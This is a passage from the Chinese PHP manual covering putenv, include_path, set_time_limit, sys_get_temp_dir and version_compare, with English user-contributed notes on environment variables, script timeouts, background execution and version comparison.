设置，例如 "FOO=BAR"

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 设置一个环境变量

<?php
putenv("UNIQID=$uniqid");
?>

参见

  • getenv() - 获取单个或者全部环境变量
  • apache_setenv() - 设置 Apache 子进程环境变量

User Contributed Notes

domger at freenet dot de 22-May-2023 12:00
Values of variables with dots in their names are not output when using getenv(), but are still present and can be explicitly queried.

(saw this behaviour using PHP 8.2.4)

<?php

// set
putenv('foo.bar=baz');

// dump all
var_dump(getenv());    # <== variable 'foo.bar' NOT included, its value is not dumped

// dump explicitely 'foo.bar'
var_dump(getenv('foo.bar'));    # works, value 'baz' is shown
t7to7 01-Sep-2019 11:17
White spaces are allowed in environment variable names so :

<?php
putenv('U =33');
?>

Is not equivalent to

<?php
putenv('U=33');
?>
broussardrobert at sbcglobal dot net 22-Aug-2017 11:25
Multiple invocations of putenv() work as expected: the real problem was that some of the putenv() invocations in my script contained typographical errors.

I typed, e.g., putenv( "IMAGE_DATABASE=" . $_SERVER{'IMAGE_DATABASE'} );
which of course is incorrect.  '{' and '}' should have been '[' and ']'.
Because my first call to putenv() did not have that typo, it worked correctly, but the remaining three calls I coded with the typo merely cleared the corresponding environment variables and thus did not make it into the external script I invoked via a system() call.  I suspect the fact my first invocation was typed correctly affected my efforts looking at the syntax in the following invocations.

The trivial extension to the example provided is to merely call putenv() multiple times, once for each variable.
broussardrobert at sbcglobal dot net 22-Aug-2017 05:27
Great examples for the trivial case that most can figure out directly from the manual, but where is the trivially more complex example describing how to set multiple variables?  I tried separating with spaces, commas, semicolons, multiple invocations of setenv, all to no avail.  Please try to include trivial extensions to the examples...
Anonymous Coder 27-Mar-2012 06:28
It's the putenv() type of environment variables that get passed to a child process executed via exec().

If you need to delete an existing environment variable so the child process does not see it, use:

putenv('FOOBAR');

That is, leave out both the "=" and a value.
php at keith tyler dot com 21-Jun-2010 05:52
putenv/getenv, $_ENV, and phpinfo(INFO_ENVIRONMENT) are three completely distinct environment stores. doing putenv("x=y") does not affect $_ENV; but also doing $_ENV["x"]="y" likewise does not affect getenv("x"). And neither affect what is returned in phpinfo().

Assuming the USER environment variable is defined as "dave" before running the following:

<?php
print "env is: ".$_ENV["USER"]."\n";
print "(doing: putenv fred)\n";
putenv("USER=fred");
print "env is: ".$_ENV["USER"]."\n";
print "getenv is: ".getenv("USER")."\n";
print "(doing: set _env barney)\n";
$_ENV["USER"]="barney";
print "getenv is: ".getenv("USER")."\n";
print "env is: ".$_ENV["USER"]."\n";
phpinfo(INFO_ENVIRONMENT);
?>

prints:

env is: dave
(doing: putenv fred)
env is: dave
getenv is: fred
(doing: set _env barney)
getenv is: fred
env is: barney
phpinfo()

Environment

Variable => Value
...
USER => dave
...
JM 16-Feb-2007 06:41
The other problem with the code from av01 at bugfix dot cc is that
the behaviour is as per the comments here, not there:
<?php
putenv('MYVAR='); // set MYVAR to an empty value.  It is in the environment
putenv('MYVAR'); // unset MYVAR.  It is removed from the environment
?>
david dot boyce at messagingdirect dot comnospam 13-Sep-2000 10:23
Environment variables are part of the underlying operating system's
way of doing things, and are used to pass information between a parent
process and its child, as well as to affect the way some internal
functions behave.  They should not be regarded as ordinary PHP
variables.

A primary purpose of setting environment variables in a PHP script is
so that they are available to processes invoked by that script using
e.g. the system() function, and it's unlikely that they would need to
be changed for other reasons.

For example, if a particular system command required a special value
of the environment variable LD_LIBRARY_PATH to execute successfully,
then the following code might be used on a *NIX system:

<?php
 $saved = getenv("LD_LIBRARY_PATH");        // save old value
 $newld = "/extra/library/dir:/another/path/to/lib";  // extra paths to add
 if ($saved) { $newld .= ":$saved"; }           // append old paths if any
 putenv("LD_LIBRARY_PATH=$newld");        // set new value
 system("mycommand -with args");        // do system command;
                        // mycommand is loaded using
                        // libs in the new path list
 putenv("LD_LIBRARY_PATH=$saved");        // restore old value
?>

It will usually be appropriate to restore the old value after use;
LD_LIBRARY_PATH is a particularly good example of a variable which it
is important to restore immediately, as it is used by internal
functions.

If php.ini configuration allows, the values of environment variables
are made available as PHP global variables on entry to a script, but
these global variables are merely copies and do not track the actual
environment variables once the script is entered.  Changing
$REMOTE_ADDR (or even $HTTP_ENV_VARS["REMOTE_ADDR"]) should not be
expected to affect the actual environment variable; this is why
putenv() is needed.

Finally, do not rely on environment variables maintaining the same
value from one script invocation to the next, especially if you have
used putenv().  The result depends on many factors, such as CGI vs
apache module, and the exact way in which the environment is
manipulated before entering the script.


还原 include_path 配置选项的值

  • ? putenv
  • set_include_path ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 还原 include_path 配置选项的值

restore_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

restore_include_path — 还原 include_path 配置选项的值

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

restore_include_path(): void

还原到 php.ini 中设置的 include_path 主值。

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 restore_include_path() 示例

<?php

echo get_include_path(); // .:/usr/local/lib/php

set_include_path('/inc');

echo get_include_path(); // /inc

restore_include_path();

// 或使用 ini_restore
ini_restore('include_path');

echo get_include_path(); // .:/usr/local/lib/php

?>

参见

  • ini_restore() - 恢复配置选项的值
  • get_include_path() - 获取当前的 include_path 配置选项
  • set_include_path() - 设置 include_path 配置选项
  • include - include

User Contributed Notes

There are no user contributed notes for this page.


设置 include_path 配置选项

  • ? restore_include_path
  • set_time_limit ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 设置 include_path 配置选项

set_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

set_include_path — 设置 include_path 配置选项

说明

set_include_path(string $include_path): string|false

为当前脚本设置 include_path 运行时的配置选项。

参数

include_path

include_path 新的值。

返回值

成功时返回旧的 include_path 或者在失败时返回 false。

示例

Example #1 set_include_path() 示例

<?php
set_include_path('/usr/lib/pear');

// 或使用 ini_set
ini_set('include_path', '/usr/lib/pear');
?>

Example #2 添加到include path

利用常量 PATH_SEPARATOR 可跨平台扩展 include path。

这个示例中我们把 /usr/lib/pear 添加到了 现有的 include_path 的尾部。

<?php
$path = '/usr/lib/pear';
set_include_path(get_include_path() . PATH_SEPARATOR . $path);
?>

参见

  • ini_set() - 为一个配置选项设置值
  • get_include_path() - 获取当前的 include_path 配置选项
  • restore_include_path() - 还原 include_path 配置选项的值
  • include - include

User Contributed Notes

parks at vecinc dot com 27-Jul-2009 11:44
If you find that this function is failing for you, and you're not sure why, you may have set your php include path in your sites's conf file in Apache  (this may be true of .htaccess as well)

So to get it to work, comment out any "php_value include_path" type lines in your Apache conf file, and you should be able to set it now in your php code.


设置脚本最大执行时间

  • ? set_include_path
  • sys_get_temp_dir ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 设置脚本最大执行时间

set_time_limit

(PHP 4, PHP 5, PHP 7, PHP 8)

set_time_limit — 设置脚本最大执行时间

说明

set_time_limit(int $seconds): bool

设置允许脚本运行的时间，单位为秒。如果超过了此设置，脚本返回一个致命的错误。默认值为30秒，或者是在php.ini的max_execution_time被定义的值，如果此值存在。

当此函数被调用时，set_time_limit()会从零开始重新启动超时计数器。换句话说，如果超时默认是30秒，在脚本运行了25秒时调用 set_time_limit(20)，那么，脚本在超时之前可运行总时间为45秒。

参数

seconds

最大的执行时间，单位为秒。如果设置为0（零），没有时间方面的限制。

返回值

成功时返回 true，失败时返回 false 。

注释

Note:

set_time_limit()函数和配置指令max_execution_time只影响脚本本身执行的时间。任何发生在诸如使用system()的系统调用，流操作，数据库操作等的脚本执行的最大时间不包括其中，当该脚本已运行。在测量时间是实值的Windows中，情况就不是如此了。

参见

  • max_execution_time
  • max_input_time

User Contributed Notes

Daan 15-Mar-2021 12:00
If you would like to calculatue the wall time of your script (includes all external DB/HTTP calls etc.) in Unix (in Windows this is already default behavior), you could use the following function:

<?php

$timeoutInSeconds = 3;

// This will make sure this is always called async
pcntl_async_signals(1);

// Second parameter is any callable (https://www.php.net/manual/en/language.types.callable.php)
pcntl_signal(SIGALRM, function() {
    exit('Stop it!');
});
pcntl_alarm($timeoutInSeconds);

?>
Anonymous 11-Nov-2019 07:05
if you want to check how much time remains, this should work (at least on Windows, on non-Windows platforms, i'm not sure)

$seconds_remaining_until_termination = ini_get('max_execution_time') === "0" ? null : ((int)ini_get('max_execution_time'))-(microtime(true)-$_SERVER['REQUEST_TIME_FLOAT']);

gives you number of seconds until the script will be terminated due to the time limit. (tested on Windows 7 X64 SP1 with PHP 7.3.7)  - or gives you null if there is no time limit.
f.nakamura 06-Jul-2015 07:54
set_tme_limit resets the execution time count.

test code1:
<?php
echo '<html><body>';
set_time_limit(1);
$i = 0;
while(++$i < 100000001){
        if($i % 100000 == 0){
                echo $i / 100000, "<br/>\n";
        }
}
echo "done.<br/>\n";

// will not echo 'done.'.
?>

test code2:
<?php
echo '<html><body>';
set_time_limit(1);
$i = 0;
while(++$i < 100000001){
        if($i % 100000 == 0){
                set_time_limit(1);
                echo $i / 100000, "<br/>\n";
        }
}
echo "done.<br/>\n";

// will echo 'done.'
?>
kexianbin at diyism dot com 20-May-2014 09:41
Both set_time_limit(...) and  ini_set('max_execution_time',...); won't count the time cost of sleep,file_get_contents,shell_exec,mysql_query etc, so i build this function my_background_exec(), to run static method/function in background/detached process and time is out kill it:

my_exec.php:
<?php
function my_background_exec($function_name, $params, $str_requires, $timeout=600)
         {$map=array('"'=>'\"', '$'=>'\$', '`'=>'\`', '\\'=>'\\\\', '!'=>'\!');
          $str_requires=strtr($str_requires, $map);
          $path_run=dirname($_SERVER['SCRIPT_FILENAME']);
          $my_target_exec="/usr/bin/php -r \"chdir('{$path_run}');{$str_requires} \\\$params=json_decode(file_get_contents('php://stdin'),true);call_user_func_array('{$function_name}', \\\$params);\"";
          $my_target_exec=strtr(strtr($my_target_exec, $map), $map);
          $my_background_exec="(/usr/bin/php -r \"chdir('{$path_run}');{$str_requires} my_timeout_exec(\\\"{$my_target_exec}\\\", file_get_contents('php://stdin'), {$timeout});\" <&3 &) 3<&0";//php by default use "sh", and "sh" don't support "<&0"
          my_timeout_exec($my_background_exec, json_encode($params), 2);
         }

function my_timeout_exec($cmd, $stdin='', $timeout)
         {$start=time();
          $stdout='';
          $stderr='';
          //file_put_contents('debug.txt', time().':cmd:'.$cmd."\n", FILE_APPEND);
          //file_put_contents('debug.txt', time().':stdin:'.$stdin."\n", FILE_APPEND);

          $process=proc_open($cmd, [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']], $pipes);
          if (!is_resource($process))
             {return array('return'=>'1', 'stdout'=>$stdout, 'stderr'=>$stderr);
             }
          $status=proc_get_status($process);
          posix_setpgid($status['pid'], $status['pid']);    //seperate pgid(process group id) from parent's pgid

          stream_set_blocking($pipes[0], 0);
          stream_set_blocking($pipes[1], 0);
          stream_set_blocking($pipes[2], 0);
          fwrite($pipes[0], $stdin);
          fclose($pipes[0]);

          while (1)
                {$stdout.=stream_get_contents($pipes[1]);
                 $stderr.=stream_get_contents($pipes[2]);

                 if (time()-$start>$timeout)
                    {//proc_terminate($process, 9);    //only terminate subprocess, won't terminate sub-subprocess
                     posix_kill(-$status['pid'], 9);    //sends SIGKILL to all processes inside group(negative means GPID, all subprocesses share the top process group, except nested my_timeout_exec)
                     //file_put_contents('debug.txt', time().":kill group {$status['pid']}\n", FILE_APPEND);
                     return array('return'=>'1', 'stdout'=>$stdout, 'stderr'=>$stderr);
                    }

                 $status=proc_get_status($process);
                 //file_put_contents('debug.txt', time().':status:'.var_export($status, true)."\n";
                 if (!$status['running'])
                    {fclose($pipes[1]);
                     fclose($pipes[2]);
                     proc_close($process);
                     return $status['exitcode'];
                    }

                 usleep(100000);
                }
         }
?>

a_class.php:
<?php
class A
{
    static function jack($a, $b)
           {sleep(4);
            file_put_contents('debug.txt', time().":A::jack:".$a.' '.$b."\n", FILE_APPEND);
            sleep(15);
           }
}
?>

test.php:
<?php
require 'my_exec.php';

my_background_exec('A::jack', array('hello', 'jack'), 'require "my_exec.php";require "a_class.php";', 8);
?>
robertbrogers at gmail dot com 09-Jan-2014 08:45
Documentation states:
When called, set_time_limit() restarts the timeout counter from zero. In other words, if the timeout is the default 30 seconds, and 25 seconds into script execution a call such as set_time_limit(20) is made, the script will run for a total of 45 seconds before timing out.

If I have a long running script and i want a exact  time limit, I set this as near as possible to the first line.
mingalevme at gmail dot com 10-May-2012 07:51
If you're using PHP_CLI SAPI and getting error "Maximum execution time of N seconds exceeded" where N is an integer value, try to call set_time_limit(0) every M seconds or every iteration. For example:

<?php

require_once('db.php');

$stmt = $db->query($sql);

while ($row = $stmt->fetchRow()) {
    set_time_limit(0);
    // your code here
}

?>
ratty at brohoof dot com 25-Nov-2011 07:39
One thing that I wish I had found sooner is, if you're using php-cli and really need to limit the executation time, and if you're in *nix, you can use "timeout" which is part of coreutils.
For example:

timeout 5 /usr/bin/php -q /path/to/script

and it will kill it if it takes longer than 5 seconds.
I had a few quick php scripts I wrote for use with cacti for example.
alexander dot krause at ed-solutions dot de 29-Aug-2011 02:26
A nice workaround to have a real max_execution_time (needs posix and pcntl):

<?php
$pid=pcntl_fork();

if ($pid) {
  //long time process
  $a=0;
  while (true) {
    echo "a=$a\n\n";
    ob_flush();
    flush();
    $a++;
    shell_exec('sleep 10&');
  }
} else {
  //time-limit checker
  sleep(5);
  posix_kill(posix_getppid(),SIGKILL);
}
?>
agvozden at gmail dot com 01-Oct-2010 01:51
If you got something like:

msg: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode

try this:

<?php
        if( !ini_get('safe_mode') ){
            set_time_limit(25);
        }
?>
Silver_Knight 23-Mar-2010 05:18
if you are running a script that needs to execute for unknown time, or forever.. you may use
set_time_limit(0);
.....
...
..
.
and at the end of the script use flush() function to tell phpto send out what it has generated.
ravenswd at gmail dot com 15-Aug-2009 04:46
Unfortunately, a script which gets into an infinite loop can produce an alarming amount of output in only a few seconds. I was attempting to debug a script, and I added

<?php
set_time_limit(2);
?>

to the beginning of the script. Unfortunately, even two seconds of run time produced enough output to overload the memory available to my browser.

So, I wrote a short routine which would limit the execution time, and also limit the amount of output returned. I added this to the beginning of my script and it worked perfectly:

<?php
set_time_limit(2);

ob_start();     // buffer output

function shutdown () {
    // print only first 2000 characters of output
    $out = ob_get_clean();
    print substr($out, 0, 2000);
}

register_shutdown_function('shutdown');
?>
BW 16-May-2009 05:08
If you use Apache you can change maximum execution time by .htaccess with this line

php_value max_execution_time 200
cweiske at cweiske dot de 02-Sep-2008 04:38
To get the currently used time, use getrusage()
jonathon dot keogh at gmail dot com 18-Jul-2008 02:07
You can do set_time_limit(0); so that the script will run forever - however this is not recommended and your web server might catch you out with an imposed HTTP timeout (usually around 5 minutes).

You should check your web server's guides for more information about HTTP timeouts.

Jonathon
AtlantisNet 04-Jun-2008 12:08
In IIS, there is another global timeout setting which will override any PHP settings.  You can alter this timeout by following the following instructions:

http://www.iisadmin.co.uk/?p=7
php at stock-consulting dot com 12-Jan-2007 05:30
To find out the currently set time limit, use

<?php
 ini_get('max_execution_time');
?>

If set_time_limit has been previously called in the script, the result will be the value which was passed to set_time_limit (and not, as the function name "ini_get" appears to suggest, the value from the php.ini file).
bjfieldNO at SPAMgmail dot com 10-Jan-2007 02:53
Timeouts after five minutes in IIS on Windows are caused by an inherited CGI Timeout value of 300 seconds.  This is not a PHP problem.  The fix is to add custom values for the files or directories that need longer to run.

In IIS 5.0 or 7.0 (beta as of this note), you can change this value on a fairly granular level using IIS Manager, under (roughly) YOURSITE -> Properties -> Home Directory -> Configuration (button) -> Options, but in IIS 6.0, this functionality is turned off (!), so you have to get into the Metabase.

Find the site number in Metabase Explorer (e.g., 12345678), then from CMD prompt:

[get to the scripts dir]
cd C:\Inetpub\AdminScripts

[this for each subdirectory from off the site root]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY" IIsWebDirectory

[this for the file in question]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php IIsWebFile

[this to set the timeout]
cscript adsutil.vbs set W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php/CGITimeout "7200"

Note:  "7200" is 2 hours in seconds, but can be whatever.

I derived the solution above from this fine article:
http://www.iis-resources.com/modules/AMS/article.php?
storyid=509&page=3
mba_aslam at yahoo dot com 05-Jan-2007 05:50
while setting the set_time_limit(), the duration of sleep() will be ignored in the execution time. The following illustrates:

<?php

set_time_limit(20);

while ($i<=10)
{
        echo "i=$i ";
        sleep(100);
        $i++;
}

?>

Output:
i=0 i=1 i=2 i=3 i=4 i=5 i=6 i=7 i=8 i=9 i=10
konrads dot smelkovs at gmail dot com 01-Apr-2006 06:35
If you are streaming large data from database, it is counted towards the max exec time.
jatin at jatinchimote dot com 01-Mar-2006 10:54
If you set the number of seconds to a very large number (not many ppl do that, but just in case) then php exits with a fatal error like :

Fatal error: Maximum execution time of 1 second exceeded in /path/to/your/script/why.php

[EDIT by danbrown AT php DOT net: This is due to the limit of 32-bit signed integers.]
Cleverduck 28-Feb-2006 01:36
Regarding what 'nytshadow' said, it's important to realize that max-execution-time and the set_time_limit functions measure the time that the CPU is working on the script.  If the script blocks, IE: for input, select, sleep, etc., then the time between blocking and returning is NOT measured.  This is the same when running scripts from the command line interface.  So if you've got a log parser written in PHP that tails a file, that program WILL fail eventually.  It just depends how long it takes to read in enough input to process for 30 seconds.

If you're writing a command line script that should run infinitely, setting max-execution-time to 0 (never stop) is HIGHLY recommended.
rycardo74 at gmail dot com 24-Nov-2005 10:52
this work to fine html streaming AND time pass limit

<?php
header('Content-type: text/plain');
echo date("H:m:s"), "\n";
set_time_limit(30);
for ($i = 0; $i < 1000; $i++)
{

    echo date("H:m:s"),"\n";
    for ($r = 0; $r < 100000; $r++){
    $X.=  tan(M_LNPI+log(ceil(  date("s")*M_PI*M_LNPI+100)));
    }
    ob_flush();
    flush();

}
echo "work! $x";
?>
eric pecoraro at shepard com 06-Jun-2005 12:57
I was having trouble with script timeouts in applications where the user prompted long running background actions. I wrote this cURL/CLI background script that solved the problem when making requests from HTTP.

<?php

/* BACKGROUND CLI 1.0

   eric pecoraro _at_ shepard dot com - 2005-06-02
   Use at your own risk. No warranties expressed or implied.

   Include this file at the top of any script to run it in the background
   with no time limitations ... e.g., include('background_cli.php');

   The script that calls this file should not return output to the browser.
*/
#  REQUIREMENTS - cURL and CLI
   if ( !function_exists('curl_setopt') OR !function_exists('curl_setopt')  ) {
      echo 'Requires cURL and CLI installations.' ; exit ;
   }

#  BUILD PATHS
   $script = array_pop(explode('/',$SCRIPT_NAME)) ;
   $script_dir = substr($SCRIPT_NAME,0,strlen($SCRIPT_NAME)-strlen($script)) ;
   $scriptURL = 'http://'. $HTTP_HOST . $script_dir . "$script" ;
   $curlURL = 'http://'. $HTTP_HOST . $script_dir . "$script?runscript=curl" ;

#  Indicate that script is being called by CLI
   if ( php_sapi_name() == 'cli' ) {
      $CLI = true ;
   }

#  Action if script is being called by cURL_prompt()
   if ( $runscript == 'curl' ) {
      $cmd = "/usr/local/bin/php ".$PATH_TRANSLATED ; // server location of script to run
      exec($cmd) ;
      exit;
   }

#  USER INTERFACE
   // User answer after submission.
   if ( $post ) {
      cURL_prompt($curlURL) ;
      echo '<div style="margin:25px;"><title>Background CLI</title>';
      echo 'O.K. If all goes well, <b>'.$script.'</b> is working hard in the background with no ' ;
      echo 'timeout limitations. <br><br><form action='.$scriptURL.' method=GET>' ;
      echo '<input type=submit value=" RESET BACKGROUND CLI "></form></div>' ;
      exit ;
   }
   // Start screen.
   if ( !$CLI AND !$runscript ) {
      echo '<title>Background CLI</title><div style="margin:25px;">' ;
      echo '<form action='.$scriptURL.' method=POST>' ;
      echo 'Click to run <b>'.$script.'</b> from the PHP CLI command line, in the background.<br><br>' ;
      echo '<input type=hidden value=1 name=post>' ;
      echo '<input type=submit value=" RUN IN BACKGROUND "></form></div>' ;
      exit ;
   }

#  cURL URL PROMPT FUNCTION
   function cURL_prompt($url_path) {
      ob_start(); // start output buffer
      $c=curl_init($url_path);
      curl_setopt($c, CURLOPT_TIMEOUT, 2); // drop connection after 2 seconds
      curl_exec($c);
      curl_close($c);
      ob_end_clean(); // discard output buffer
   }
?>
php at mightycpa.com 26-Jun-2003 01:30
You may also need to look at Apache's timeout setting (Win32 version for me), I changed max execution time value in php.ini, and still got stopped by Apache's timeout value in the httpd.conf file.
rsallo at gna dot NOSPAM dot es 30-May-2003 04:28
When you are working with IIS, PHP timeout is valid only when it's lower than script timeout defined by IIS.

IIS 5 has a default timeout of 300 seconds. If you need a higher timeout, you also have to change IIS properties. Otherwise, your server will stop your PHP script before it reaches its own timeout.


返回用于临时文件的目录

  • ? set_time_limit
  • version_compare ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回用于临时文件的目录

sys_get_temp_dir

(PHP 5 >= 5.2.1, PHP 7, PHP 8)

sys_get_temp_dir — 返回用于临时文件的目录

说明

sys_get_temp_dir(): string

返回 PHP 储存临时文件的默认目录的路径。

参数

此函数没有参数。

返回值

返回临时目录的路径。

示例

Example #1 sys_get_temp_dir() 示例

<?php
// 使用 sys_get_temp_dir() 在目录里创建临时文件
$temp_file = tempnam(sys_get_temp_dir(), 'Tux');

echo $temp_file;
?>

以上示例的输出类似于：

C:\Windows\Temp\TuxA318.tmp

参见

  • tmpfile() - 建立一个临时文件
  • tempnam() - 建立一个具有唯一文件名的文件

User Contributed Notes

Anonymous 11-Mar-2021 01:28
On windows, when PHP is used as CLI, this function will return the temp directory for the current user e.g. C:\Users\JohnSmith\AppData\Local\Temp\9 instead of C:\Windows\Temp.
Arthur Clifford 02-Mar-2020 01:28
That is important for the purposes of building paths through concatenation to know that sys_get_temp_dir does not include a path separator at the end.

So, sys_get_temp_dir() will return whatever your temp dir is set to, by default:

/tmp

If you attempted to concatenate another dir name  temp and use the following:

mkdir(sys_get_temp_dir() . 'some_dir');

That would actually attempt to generate:
/tmpsome_dir

It would likely result in a permission error unless you are running a php script as a super user.

Instead you would want to do:
mkdir( sys_get_temp_dir() . DIRECTORY_SEPARATOR. 'some_dir' );

which would create:
/tmp/some_dir

I don't know if Windows or other platforms include a directory separator at the end. So if you are writing something a bit more general you may want to check for the path separator at the end and if it is not there append it.
besabellacyrus at gmail dot com 26-Aug-2019 01:36
using in windows this trim spaces and add ~1
OsakaWebbie 11-May-2017 03:40
If running on a Linux system where systemd has PrivateTmp=true (which is the default on CentOS 7 and perhaps other newer distros), this function will simply return "/tmp", not the true, much longer, somewhat dynamic path.
ohcc at 163 dot com 18-Jul-2016 05:17
when the sys_temp_dir directive is left unset, sys_get_temp_dir() returns C:\Windows on my Windows.
Nimja 17-Sep-2015 11:07
A very helpful thing to note when on Linux:

If you are running PHP from the commandline you can use the environment variable: TMPDIR - to change the location without touching php.ini. - This should work on most versions of PHP.

Example file: test.php
<?php
    echo sys_get_temp_dir() . PHP_EOL;
?>

And then running:

php test.php
     /tmp

TMPDIR=/custom/location php test.php
    /custom/location
Anonymous 24-Apr-2015 10:44
it should be mentioned that the return value of sys_get_temp_dir() can be set using the ini-directive 'sys_temp_dir' globally as well as per directory by using
php_admin_value sys_temp_dir /path/to/tmp
royanee at yahoo dot com 11-Jun-2014 08:27
As of PHP 5.5.0, you can set the sys_temp_dir INI setting so that this function will return a useful value when the default temporary directory is not an option.
Ismail Asci 31-Jan-2014 11:56
It's not documented but this function does not  send the path with trailing spaces, actually it drops the slash if it exists.

https://github.com/php/php-src/blob/af6c11c5f060870d052a2b765dc634d9e47d0f18/main/php_open_temporary_file.c#L238
bert-jan at bugbyte dot nl 29-Mar-2010 01:06
This function does not account for virtualhost-specific modifications to the temp path and/or open_basedir:

<Virtualhost>
php_admin_value open_basedir /home/user
php_admin_value upload_tmp_dir /home/user/tmp
php_admin_value session.save_path /home/user/tmp
</Virtualhost>

Within this config it still returns /tmp
Anonymous 29-Jan-2008 04:08
This function does not always add trailing slash. This behaviour is inconsistent across systems, so you have keep an eye on it.


对比两个「PHP 规范化」的版本数字字符串

  • ? sys_get_temp_dir
  • zend_thread_id ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 对比两个「PHP 规范化」的版本数字字符串

version_compare

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

version_compare — 对比两个「PHP 规范化」的版本数字字符串

说明

version_compare(string $version1, string $version2, ?string $operator = null): int|bool

version_compare() 用于对比两个「PHP 规范化」的版本数字字符串。

此函数首先在版本字符串里用一个点 . 替换 _、- 和 +，也会在任意非数字前后插入一个点 .，这样，类似 '4.3.2RC1' 将会变成 '4.3.2.RC.1'。 接下来它会分割结果， 然后它会从左往右对比各个部分。 如果某部分包含了特定的版本字符串，将会用以下顺序处理： 列表中未找到的任意字符串 < dev < alpha = a < beta = b < RC = rc < # < pl = p。 这种方式不仅能够对比类似 '4.1' 和 '4.1.2' 那种不同的版本级别，同时也可以指定对比任何包含 PHP 开发状态的版本。

参数

version1

第一个版本数。

version2

第二个版本数。

operator

可选运算符。可能运算符有：<、lt、<=、le、 >、gt、>=、ge、==、 =、eq、!=、<>、ne。

此参数区分大小写，它的值应该是小写的。

返回值

默认情况下，在第一个版本低于第二个时，version_compare() 返回 -1；如果两者相等，返回 0；第二个版本更低时则返回 1。

当使用了可选参数 operator 时，如果关系是操作符所指定的那个，函数将返回 true，否则返回 false。

示例

下例使用了 PHP_VERSION 常量，因为它执行的代码包含了 PHP 版本的值。

Example #1 version_compare() examples

<?php
if (version_compare(PHP_VERSION, '7.0.0') >= 0) {
echo 'I am at least PHP version 7.0.0, my version: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
echo 'I am at least PHP version 5.3.0, my version: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '>=')) {
echo 'I am at least PHP version 5.0.0, my version: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '<')) {
echo 'I am still PHP 4, my version: ' . PHP_VERSION . "\n";
}
?>

注释

Note:

PHP_VERSION 常量包含了当前 PHP 的版本。

Note:

注意，类似 5.3.0-dev 的预发行版本，被认为是低于它们的最终发行版本（就像 5.3.0）。

Note:

指定类似 alpha、beta 的版本字符串是大小写敏感的。 版本字符串的来源若不遵循 PHP 标准，可能需要在调用 version_compare() 之前先用 strtolower() 转成小写。

参见

  • phpversion() - 获取当前的PHP版本
  • php_uname() - 返回运行 PHP 的系统的有关信息
  • function_exists() - 如果给定的函数已经被定义就返回 true

User Contributed Notes

Lcuis 20-Jul-2022 10:05
In case you need to handle more complex version numbers like alpha, beta,..., here is a little something that can help:

function multiExplode($delimiters,$string){
    $pattern = '/['.preg_quote($delimiters).']/';
    return(preg_split( $pattern, $string ));
}

function isInteger($input){
    return(ctype_digit(strval($input)));
}

function keepIntsStartArray($arr){
    $nonIntMappings=[
        "alpha"=>1,
        "beta"=>2,
        "gamma"=>3,
        "delta"=>4,
        "epsilon"=>5,
        "zeta"=>6,
        "eta"=>7,
        "theta"=>8,
        "iota"=>9,
        "kappa"=>10,
        "lambda"=>11,
        "mu"=>12,
        "nu"=>13,
        "xi"=>14,
        "omicron"=>15,
        "pi"=>16,
        "rho"=>17,
        "sigma"=>18,
        "tau"=>19,
        "upsilon"=>20,
        "phi"=>21,
        "chi"=>22,
        "psi"=>23,
        "omega"=>24,
    ];
    $ret=[];
    foreach($arr as $i){
        if(!isInteger($i)){
            if(!array_key_exists($i,$nonIntMappings)){
                break;
            }
            $ret[]=$nonIntMappings[$i];
        }
        $ret[]=$i;
    }
    return($ret);
}

function appVersionBigger($v1,$v2,$orEqual=false){
    $delimiters=".-+";
    $a1=keepIntsStartArray(multiExplode($delimiters,$v1));
    $a2=keepIntsStartArray(multiExplode($delimiters,$v2));
    $len=count($a1);
    if($len>count($a2)){
        $len=count($a2);
    }
    for($i=0;$i<$len;$i++){
        $n1=$a1[$i];
        $n2=$a2[$i];
        if($n1>$n2){
            return(true);
        }
        if($n1<$n2){
            return(false);
        }
    }
    if(count($a1)>count($a2)){
        return(true);
    }
    if(count($a1)<count($a2)){
        return(false);
    }
    return($orEqual);
}

// usage examples:

$versions=[
    "1.2.3-45"=>"1.2.3-45",
    "1.2.3-44"=>"1.2.3-45",
    "1.2.3-46"=>"1.2.3-45",
    "1.2.3"=>"1.2.3-45",
    "1.2.4"=>"1.2.3-45",
    "1.2.2"=>"1.2.3-45",
    "1.2"=>"1.2.3-45",
    "1.3"=>"1.2.3-45",
    "1.2.3-ios"=>"1.2.3-and",
    "1.2-ios"=>"1.2.3-and",
    "2-ios"=>"1.2.3-and",
    "1.2.3-alpha"=>"1.2.3-beta",
    "1.2.3-beta"=>"1.2.3-alpha",
    "1-gamma"=>"1.2.3-beta",
    "1-alpha"=>"1.2.3-beta",
];

foreach($versions as $v1=>$v2){
    echo("v1: ".$v1."\tv2: ".$v2."\tgt: ".(appVersionBigger($v1,$v2,false)?"true":"false")."\tge: ".(appVersionBigger($v1,$v2,true)?"true":"false")."\n");
}

// output with php version 8.1.8:
/*
v1: 1.2.3-45    v2: 1.2.3-45    gt: false    ge: true
v1: 1.2.3-44    v2: 1.2.3-45    gt: false    ge: false
v1: 1.2.3-46    v2: 1.2.3-45    gt: true    ge: true
v1: 1.2.3    v2: 1.2.3-45    gt: false    ge: false
v1: 1.2.4    v2: 1.2.3-45    gt: true    ge: true
v1: 1.2.2    v2: 1.2.3-45    gt: false    ge: false
v1: 1.2    v2: 1.2.3-45    gt: false    ge: false
v1: 1.3    v2: 1.2.3-45    gt: true    ge: true
v1: 1.2.3-ios    v2: 1.2.3-and    gt: false    ge: true
